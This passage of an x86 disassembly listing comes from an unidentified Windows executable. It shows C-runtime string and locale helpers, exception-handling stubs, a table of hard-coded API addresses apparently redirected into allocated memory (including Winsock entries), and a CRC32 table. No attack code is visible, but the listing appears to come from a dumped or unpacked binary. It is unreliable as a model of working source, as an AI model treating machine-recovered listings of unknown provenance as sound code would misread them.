		pop	esi


loc_42645B:				; CODE XREF: sub_4263E5+3Dj
					; sub_4263E5+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_4263E5	endp


; =============== S U B	R O U T	I N E =======================================



sub_426465	proc near		; CODE XREF: sub_41843B+21p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_42648C
		push	esi
		call	sub_41B9C0
		inc	eax
		push	eax
		call	sub_41BEB5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42648C
		push	esi
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42648C:				; CODE XREF: sub_426465+7j
					; sub_426465+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_426465	endp


; =============== S U B	R O U T	I N E =======================================



sub_426490	proc near		; CODE XREF: ___:004264A8p
		mov	dword ptr [ecx], offset	off_427CEC
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_4264A4
		push	ecx
		call	sub_41BA91
		pop	ecx

locret_4264A4:				; CODE XREF: sub_426490+Bj
		retn
sub_426490	endp

; ---------------------------------------------------------------------------


loc_4264A5:				; DATA XREF: ___:off_427CECo
		push	esi
		mov	esi, ecx
		call	sub_426490
		test	byte ptr [esp+8], 1
		jz	short loc_4264BB
		push	esi
		call	sub_41D65F
		pop	ecx


loc_4264BB:				; CODE XREF: ___:004264B2j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_4264C1:				; DATA XREF: ___:off_427CF4o
		push	esi
		mov	esi, ecx
		call	sub_426564
		test	byte ptr [esp+8], 1
		jz	short loc_4264D7
		push	esi
		call	sub_41D65F
		pop	ecx


loc_4264D7:				; CODE XREF: ___:004264CEj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4264DD	proc near		; CODE XREF: sub_4260FE+1Dp
					; sub_4261D0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427CF4
		push	dword ptr [edi]
		call	sub_41B9C0
		inc	eax
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42650C
		push	dword ptr [edi]
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx


loc_42650C:				; CODE XREF: sub_4264DD+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_4264DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_42651A	proc near		; CODE XREF: sub_426218+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427CF4
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_426557
		push	dword ptr [edi+4]
		call	sub_41B9C0
		inc	eax
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42655D
		push	dword ptr [edi+4]
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx
		jmp	short loc_42655D
; ---------------------------------------------------------------------------


loc_426557:				; CODE XREF: sub_42651A+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_42655D:				; CODE XREF: sub_42651A+2Ej
					; sub_42651A+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42651A	endp


; =============== S U B	R O U T	I N E =======================================



sub_426564	proc near		; CODE XREF: sub_4260BA+16j
					; ___:004264C4p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_427CF4
		jz	short locret_426579
		push	dword ptr [ecx+4]
		call	sub_41D65F
		pop	ecx

locret_426579:				; CODE XREF: sub_426564+Aj
		retn
sub_426564	endp


; =============== S U B	R O U T	I N E =======================================



sub_42657A	proc near		; DATA XREF: ___:00427CF8o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_426586
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_426586:				; CODE XREF: sub_42657A+5j
		retn
sub_42657A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426587	proc near		; CODE XREF: sub_426173+37p
					; sub_42629A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_427D10
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		nop
		call	near ptr 26703BAh
		pop	edi
		pop	esi
		leave
		retn	8
sub_426587	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4265C1	proc near		; CODE XREF: sub_4263E5+56p
					; sub_4263E5+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_4265D3
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4265D3:				; CODE XREF: sub_4265C1+Bj
		cmp	dword_4DBE84, 0
		jnz	short loc_4265ED
		cmp	ax, 41h
		jb	short locret_426634
		cmp	ax, 5Ah
		ja	short locret_426634
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------


loc_4265ED:				; CODE XREF: sub_4265C1+19j
		cmp	ax, 100h
		jnb	short loc_426607
		push	1
		push	eax
		call	sub_42686F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_426607
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------


loc_426607:				; CODE XREF: sub_4265C1+30j
					; sub_4265C1+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_4DBE84
		call	sub_426636
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_426634
		mov	ax, [ebp+var_2]

locret_426634:				; CODE XREF: sub_4265C1+1Fj
					; sub_4265C1+25j ...
		leave
		retn
sub_4265C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426636	proc near		; CODE XREF: sub_4265C1+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427D30
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_4DC010, esi
		jnz	short loc_4266AC
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427920
		mov	edi, 100h
		push	edi
		push	esi
		nop
		call	near ptr 2650000h
		test	eax, eax


loc_426680:				; DATA XREF: sub_56616D+1o
		jz	short loc_42668A
		mov	dword_4DC010, ebx
		jmp	short loc_4266AC
; ---------------------------------------------------------------------------


loc_42668A:				; CODE XREF: sub_426636:loc_426680j
		push	esi
		push	esi
		push	ebx
		push	offset word_4CB88C
		push	edi
		push	esi
		nop
		call	near ptr 2660000h
		test	eax, eax
		jz	loc_42682B
		mov	dword_4DC010, 2


loc_4266AC:				; CODE XREF: sub_426636+2Ej
					; sub_426636+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_4266C1
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_42683F
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_4266C1:				; CODE XREF: sub_426636+79j
		mov	eax, dword_4DC010
		cmp	eax, 1
		jnz	short loc_4266E8
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2650000h
		nop
		jmp	loc_42682D
; ---------------------------------------------------------------------------


loc_4266E8:				; CODE XREF: sub_426636+93j
		cmp	eax, 2
		jnz	loc_42682B
		cmp	[ebp+arg_18], esi
		jnz	short loc_4266FE
		mov	eax, dword_4DBE94
		mov	[ebp+arg_18], eax


loc_4266FE:				; CODE XREF: sub_426636+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		call	near ptr 2861078h
		nop
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_42682B
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_426744
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi


loc_426744:				; CODE XREF: sub_426636+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_42682B
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 2861078h
		test	eax, eax
		jz	loc_42682B
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2660000h
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_42682B
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4267C7
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]


loc_4267C7:				; CODE XREF: sub_426636+17Dj
		cmp	ebx, esi
		jz	short loc_42682B
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2660000h
		nop
		test	eax, eax
		jz	short loc_42682B
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_426805
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_426827
		cmp	eax, edi
		jl	short loc_4267F6
		mov	eax, edi


loc_4267F6:				; CODE XREF: sub_426636+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_41BFD0
		add	esp, 0Ch
		jmp	short loc_426827
; ---------------------------------------------------------------------------


loc_426805:				; CODE XREF: sub_426636+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_42680E
		push	esi
		push	esi
		jmp	short loc_426814
; ---------------------------------------------------------------------------


loc_42680E:				; CODE XREF: sub_426636+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_426814:				; CODE XREF: sub_426636+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2720000h
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_42682B


loc_426827:				; CODE XREF: sub_426636+1B8j
					; sub_426636+1CDj
		mov	eax, edi
		jmp	short loc_42682D
; ---------------------------------------------------------------------------


loc_42682B:				; CODE XREF: sub_426636+66j
					; sub_426636+B5j ...
		xor	eax, eax


loc_42682D:				; CODE XREF: sub_426636+ADj
					; sub_426636+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426636	endp


; =============== S U B	R O U T	I N E =======================================



sub_42683F	proc near		; CODE XREF: sub_426636+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_42685E


loc_42684F:				; CODE XREF: sub_42683F+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_42685E
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_42684F


loc_42685E:				; CODE XREF: sub_42683F+Ej
					; sub_42683F+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_42686C
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_42686C:				; CODE XREF: sub_42683F+24j
		mov	eax, edx
		retn
sub_42683F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42686F	proc near		; CODE XREF: sub_4265C1+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_4268AF
		cmp	[ebp+arg_0], 100h
		jnb	short loc_426893
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_43CE7C
		mov	ax, [ecx+eax*2]
		jmp	short loc_4268B6
; ---------------------------------------------------------------------------


loc_426893:				; CODE XREF: sub_42686F+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_4268C1
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4268B3


loc_4268AF:				; CODE XREF: sub_42686F+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4268B3:				; CODE XREF: sub_42686F+3Ej
		mov	eax, [ebp+var_4]


loc_4268B6:				; CODE XREF: sub_42686F+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_42686F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4268C1	proc near		; CODE XREF: sub_42686F+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427D48
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DC014
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_426930
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427920
		push	esi
		nop
		call	near ptr 2610000h
		test	eax, eax
		jz	short loc_42690E
		mov	eax, esi
		jmp	short loc_42692B
; ---------------------------------------------------------------------------


loc_42690E:				; CODE XREF: sub_4268C1+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset word_4CB88C
		push	esi
		push	edi
		call	near ptr 2610749h
		nop
		test	eax, eax
		jz	loc_426A72
		push	2
		pop	eax


loc_42692B:				; CODE XREF: sub_4268C1+4Bj
		mov	dword_4DC014, eax


loc_426930:				; CODE XREF: sub_4268C1+2Fj
		cmp	eax, 1
		jnz	short loc_42694C
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2610000h
		nop
		jmp	loc_426A74
; ---------------------------------------------------------------------------


loc_42694C:				; CODE XREF: sub_4268C1+72j
		cmp	eax, 2
		jnz	loc_426A72
		cmp	[ebp+arg_10], edi
		jnz	short loc_426962
		mov	eax, dword_4DBE94
		mov	[ebp+arg_10], eax


loc_426962:				; CODE XREF: sub_4268C1+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 2861078h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_426A72
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4269C0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_4269C0:				; CODE XREF: sub_4268C1+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_426A72
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 2861078h
		test	eax, eax
		jz	loc_426A72
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_426A15
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx


loc_426A15:				; CODE XREF: sub_4268C1+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_426A72
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_426A29
		mov	eax, dword_4DBE84


loc_426A29:				; CODE XREF: sub_4268C1+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 2610749h
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_426A72
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_426A72
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41D670
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_426A74
; ---------------------------------------------------------------------------


loc_426A72:				; CODE XREF: sub_4268C1+61j
					; sub_4268C1+8Ej ...
		xor	eax, eax


loc_426A74:				; CODE XREF: sub_4268C1+86j
					; sub_4268C1+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4268C1	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_426A88	proc near		; DATA XREF: ___:00427EFCo

; FUNCTION CHUNK AT 0040D76C SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40D76C
sub_426A88	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_426AA6
		mov	ecx, [ebp+8]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------

locret_426AA6:				; CODE XREF: ___:00426A98j
		retn
; ---------------------------------------------------------------------------


loc_426AA7:				; DATA XREF: sub_40D340o
		mov	eax, offset dword_427ED0
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------


loc_426ABC:				; DATA XREF: ___:00427F2Co
		lea	ecx, [ebp-1Ch]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------


loc_426AC4:				; DATA XREF: sub_40D4E2o
		mov	eax, offset dword_427F00
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		align 10h


loc_426AD0:				; DATA XREF: sub_40DA4Fo
		mov	eax, offset dword_427F30
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_426564
; ---------------------------------------------------------------------------


loc_426AE2:				; DATA XREF: sub_4260FEo
		mov	eax, offset dword_427F90
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------


loc_426AF4:				; DATA XREF: sub_426173o
		mov	eax, offset dword_428028
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_426564
; ---------------------------------------------------------------------------


loc_426B06:				; DATA XREF: sub_4261D0o
		mov	eax, offset dword_42804C
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_426564
; ---------------------------------------------------------------------------


loc_426B18:				; DATA XREF: sub_426218o
		mov	eax, offset dword_428070
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------


loc_426B2A:				; DATA XREF: sub_42629Ao
		mov	eax, offset dword_4280D0
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		dd 133h	dup(0)
		dd 25F0000h, 2600000h, 26009C1h, 2600A29h, 2600E48h, 2610000h
		dd 2610749h, 2620000h, 262058Ah, 2630000h, 26308F3h, 2630B5Eh
dword_427030	dd 2630B6Eh		; DATA XREF: ___:004239E2r
		dd 2630C01h, 2630E99h, 2630ED1h, 2640000h, 2650000h, 2660000h
		dd 2670000h, 26703BAh, 2670820h, 2670831h, 267087Ch, 2680000h
dword_427064	dd 2680572h		; DATA XREF: sub_41F216:loc_41F247r
dword_427068	dd 2680773h		; DATA XREF: sub_41E742+240r
		dd 77E75CB5h
dword_427070	dd 26808BBh		; DATA XREF: sub_40111D+B8r
					; ___:004014FCr ...
		dd 2680B8Eh, 2690000h, 26A0000h
dword_427080	dd 26A068Bh		; DATA XREF: sub_40111D+29r
					; sub_40C3E8+2E9r ...
dword_427084	dd 26A06F9h		; DATA XREF: ___:004015E2r
					; sub_4116D6+32r
		dd 26A0927h
dword_42708C	dd 26B0000h		; DATA XREF: sub_419C09+B9r
		dd 26B0604h
dword_427094	dd 26B0669h		; DATA XREF: sub_4119F9:loc_411A8Ar
dword_427098	dd 26B06C1h		; DATA XREF: ___:loc_4013DCr
		dd 26B0A02h, 26B0B43h
dword_4270A4	dd 26B0C06h		; DATA XREF: sub_409909+2r
		dd 26B0D3Ch, 26C0000h
dword_4270B0	dd 26C0589h		; DATA XREF: ___:0040124Dr
					; sub_41AA1E+8Cr
dword_4270B4	dd 26C05DFh		; DATA XREF: sub_4116D6:loc_4117C2r
		dd 26D0000h, 26D0D07h
dword_4270C0	dd 26E0000h		; DATA XREF: sub_409909:loc_409E17r
dword_4270C4	dd 26E03D4h		; DATA XREF: sub_409909+11r
					; sub_4172C1+60r ...
		dd 26F0000h, 2700000h, 2700552h, 2710000h, 77F7E300h, 77F7E21Fh
		dd 27105A5h, 2710736h
dword_4270E8	dd 2720000h		; DATA XREF: sub_419177+Fr
					; sub_41E0D4+54r
dword_4270EC	dd 2730000h		; DATA XREF: sub_4119F9+Br
		dd 2740000h, 2750000h
dword_4270F8	dd 27506FCh		; DATA XREF: sub_4187E0+36r
		dd 2750975h, 2760000h
dword_427104	dd 276073Dh		; DATA XREF: sub_411920+3Ar
					; sub_41A1B1+79r
dword_427108	dd 2770000h		; DATA XREF: sub_411827+23r
					; sub_41A1B1+3Br
		dd 2771561h, 2780000h, 2790000h, 2790328h, 2790872h, 27A0000h
		dd 27B0000h, 27C0000h, 27C0B82h, 27D0000h, 27D00EEh, 27D021Bh
		dd 27D0484h, 27E0000h, 27E0813h
dword_427148	dd 27F0000h		; DATA XREF: sub_4172C1+BCr
		dd 27F0614h
dword_427150	dd 2800000h		; DATA XREF: sub_417493+21r
					; sub_41761C+4Ar
dword_427154	dd 2800B0Ah		; DATA XREF: sub_417493+10r
					; sub_41761C+40r ...
		dd 2800B91h
dword_42715C	dd 2810000h		; DATA XREF: sub_41761C+56r
		dd 2810236h, 2820000h, 2830000h, 2830522h, 2830B31h, 2840000h
		dd 28401CFh, 28407D5h, 2850000h, 2860000h
dword_427188	dd 2861078h		; DATA XREF: sub_4190A5+13r
					; ___:00423A57r
		dd 2861BB3h, 2870000h, 2870453h, 2870759h, 2880000h, 2890000h
		dd 28A0000h, 28B0000h, 28B1BEDh, 28B1C1Ah, 28C0000h, 28C0E3Ah
		dd 28D0000h, 0
		dd 71AB5A01h, 71AB4122h
dword_4271CC	dd 71AB1746h		; DATA XREF: sub_4131EC+1DEr
		dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah
		dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB12F8h, 71AB1746h
		dd 71AB3E5Dh
dword_4271FC	dd 71AB5690h		; DATA XREF: sub_40E9FB+6Ar
		dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
		dd 71AB157Eh, 2	dup(0)
dword_427220	dd 0			; DATA XREF: sub_401070+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
